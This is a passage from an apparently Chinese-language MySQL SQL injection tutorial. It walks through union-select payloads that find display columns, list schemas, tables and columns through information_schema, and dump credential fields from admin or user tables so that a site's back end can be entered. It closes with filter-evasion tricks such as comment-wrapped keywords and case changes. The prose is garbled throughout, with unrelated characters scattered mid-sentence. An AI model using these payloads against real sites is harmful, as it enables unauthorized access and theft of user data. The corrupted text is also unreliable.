and1=2 union select 1,2,3,4...,N--
//首先and 1=2報(bào)錯(cuò),用單引號(hào)或在參數(shù)前加個(gè)"-"也行
//這里和Access不同名斟,后面可以不加"from 表名"脑慧;最后面的"--"是注釋符,注釋掉后面的語句砰盐,防止出錯(cuò)闷袒,換成"/*"也行,也可以不加
//Access不支持注釋符楞卡,MySQL和MSSQL支持
//這兩個(gè)也不多說了
步驟三:查出基本信息
得到數(shù)字回顯后霜运,將對(duì)應(yīng)數(shù)字位換成我們想查詢的信息脾歇,比如顯示位是3
and1=2 union select 1,2,version(),4...,N--
//介紹幾個(gè)常用函數(shù):
1. version()——MySQL版本
2. user()——用戶名
3. database()——數(shù)據(jù)庫名
4. @@datadir——數(shù)據(jù)庫路徑
5. @@version_compile_os——操作系統(tǒng)版本
我們可以通過將對(duì)應(yīng)函數(shù)放到顯示位中查出相應(yīng)信息
//再介紹幾個(gè)很有用的函數(shù):
1. concat(str1,str2,...)——沒有分隔符地連接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串
3. group_concat(str1,str2,...)——連接一個(gè)組的所有字符串,并以逗號(hào)分隔每一條數(shù)據(jù)
說著比較抽象淘捡,其實(shí)也并不需要詳細(xì)了解藕各,知道這三個(gè)函數(shù)能一次性查出所有信息就行了。
比如:concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
concat_ws(0x3a,version(),user(),database(),@@datadir,@@verion_compile_os)
group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
//0x3a是":"的十六進(jìn)制焦除,在這里把它作為分隔符激况,沒有它,查出來的東西就連成一片了
//在實(shí)際查的時(shí)候膘魄,有些時(shí)候可能會(huì)出錯(cuò)乌逐,比如@@verion_compile_os這個(gè)函數(shù)就經(jīng)常出錯(cuò),去掉就是了创葡。浙踢。= =
//對(duì)于MySQL函數(shù)可以百度,或查看MySQL官方手冊(cè)http://dev.mysql.com/doc/
步驟四:爆表爆列爆用戶名密碼
爆的方法有很多灿渴,我就說說我知道的幾種吧洛波,從最“溫和的”到最“野蠻的”。
第一種:查表查列
1. and 1=2 union select 1,2,table_name,4 from (select * from information_schema.tables where table_schema=庫名十六進(jìn)制 limit N,1)t limit 1--
2. and 1=2 union select 1,2,column_name,4 from (select * from information_schema.columns where table_name=表名十六進(jìn)制 and table_schema=庫名十六進(jìn)制 limit N,1)t limit 1--
3. and 1=2 union select 1,2,列名,4 from 表名
//這里改變N的值骚露,查出一個(gè)個(gè)表名蹬挤、列名
//這個(gè)方法比較老,具體的原理那些我也不太懂棘幸,尤其是那個(gè)t和后面那個(gè)limit 1焰扳,了解下就行了
第二種:高級(jí)查表查列
1. and 1=2 union select 1,2,schema_name,4 from information_schema.schemata limit N,1
2. and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema=要查的庫名的十六進(jìn)制 limit N,1
3. and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_name=要查的表名的十六進(jìn)制 limit N,1
//有個(gè)提速技巧,要查的庫名的十六進(jìn)制那個(gè)地方填database()误续,就是table_schema=database()吨悍,直接就表示當(dāng)前數(shù)據(jù)庫
//找敏感的表,含有admin蹋嵌、manage或user之類的
第三種:爆表爆列
1. and 1=2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
2. and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=要爆的庫名的十六進(jìn)制
3. and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=要爆的表名的十六進(jìn)制
4. and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名
www.2cto.com
//distinct表示不同畜份,也就是去掉爆出內(nèi)容的重復(fù)部分,不加也可以欣尼,我習(xí)慣加上
//這個(gè)方法好就好在通過用group_concat()這個(gè)函數(shù)直接爆出所有庫名爆雹、表名、列名愕鼓、字段內(nèi)容钙态,可以提高速度,方便查找
第四種:高級(jí)爆表爆列
1. and 1=2 union select 1,2,group_concat(distinct table_schema),4 from information_schema.columns
2. and 1=2 union select 1,2,group_concat(distinct table_name),4 from information_schema.columns where table_schema=要爆的庫名的十六進(jìn)制
3. and 1=2 union select 1,2,group_concat(distinct column_name),4 from information_schema.columns where table_name=要爆的表名的十六進(jìn)制
4. and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名
//所有數(shù)據(jù)都是從information_schema.columns這個(gè)表里獲取菇晃,因?yàn)閺膇nformation_schema這個(gè)庫的介紹(http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html)我們可以看到册倒,從information_schema.columns這個(gè)表里,我們可以查到所有的信息磺送,因?yàn)樗诶锩孀ぷ樱瑃able_schema灿意、table_name、column_name這個(gè)三個(gè)列都有崇呵,所以我們可以直接通過這個(gè)表缤剧,查出我們需要的所有信息,就省了換表這一步了域慷,進(jìn)一步提升速度
到這一步荒辕,我們的注入就算完成了,找后臺(tái)解密登陸就是了犹褒。俺再多說幾句抵窒。
還是那句話,MySQL的注入非常的靈活叠骑,我總結(jié)的只是最基本的語句李皇,只是一點(diǎn)點(diǎn)皮毛而已。至于更高級(jí)的宙枷,大家去論壇疙赠、百度找找吧。比如當(dāng)我們用上面的語句無法成功查出的時(shí)候朦拖,我們可以嘗試下這些方法。
1. 當(dāng)union select 1,2,3,4沒有出現(xiàn)數(shù)字位時(shí)厌衔,可以嘗試把數(shù)字都換成null璧帝,然后逐個(gè)嘗試替換成數(shù)字或字符或直接換成version(),找到可以顯示出來的那一位富寿。這個(gè)貌似是因?yàn)閷?duì)應(yīng)變量類型不同的原因睬隶,我也不是太懂。
2. 有些時(shí)候莫名其妙的就出錯(cuò)的時(shí)候(比如有數(shù)字顯示位页徐,而用替換函數(shù)(比如version())去替換時(shí)卻返回空白頁或報(bào)錯(cuò))苏潜,爆不出來的時(shí)候,可以嘗試通過hex()或convert()等函數(shù)來解決可能的編碼問題变勇,比如hex(version())恤左、unhex(hex(version()))、convert(version() using latin1)等等
3. 在注入的時(shí)候搀绣,可以把空格換成"+"或者"/**/"飞袋,這都是等價(jià)的,因?yàn)榭崭駮?huì)被自動(dòng)轉(zhuǎn)成"%20"链患,看著很亂巧鸭,而且換過以后貌似能過一些過濾。
4. 另外麻捻,在遇到網(wǎng)站有過濾的時(shí)候纲仍,可以考慮下大小寫變換繞過呀袱。所以經(jīng)常看到大牛們的注入語句是稀奇古怪郑叠、變幻莫測(cè)夜赵。。最近又看到一個(gè)變態(tài)的繞過方法锻拘,/*!select*/油吭,把容易被過濾的東西放到/*!XXX*/中,一樣可以正常查詢署拟,也就是/*!select*/=select婉宰。如果你還不放心那就這樣/*!sEleCt*/。這個(gè)/*!XXX*/=XXX的原理我還不懂推穷,希望大牛能給解釋下啊心包,求教~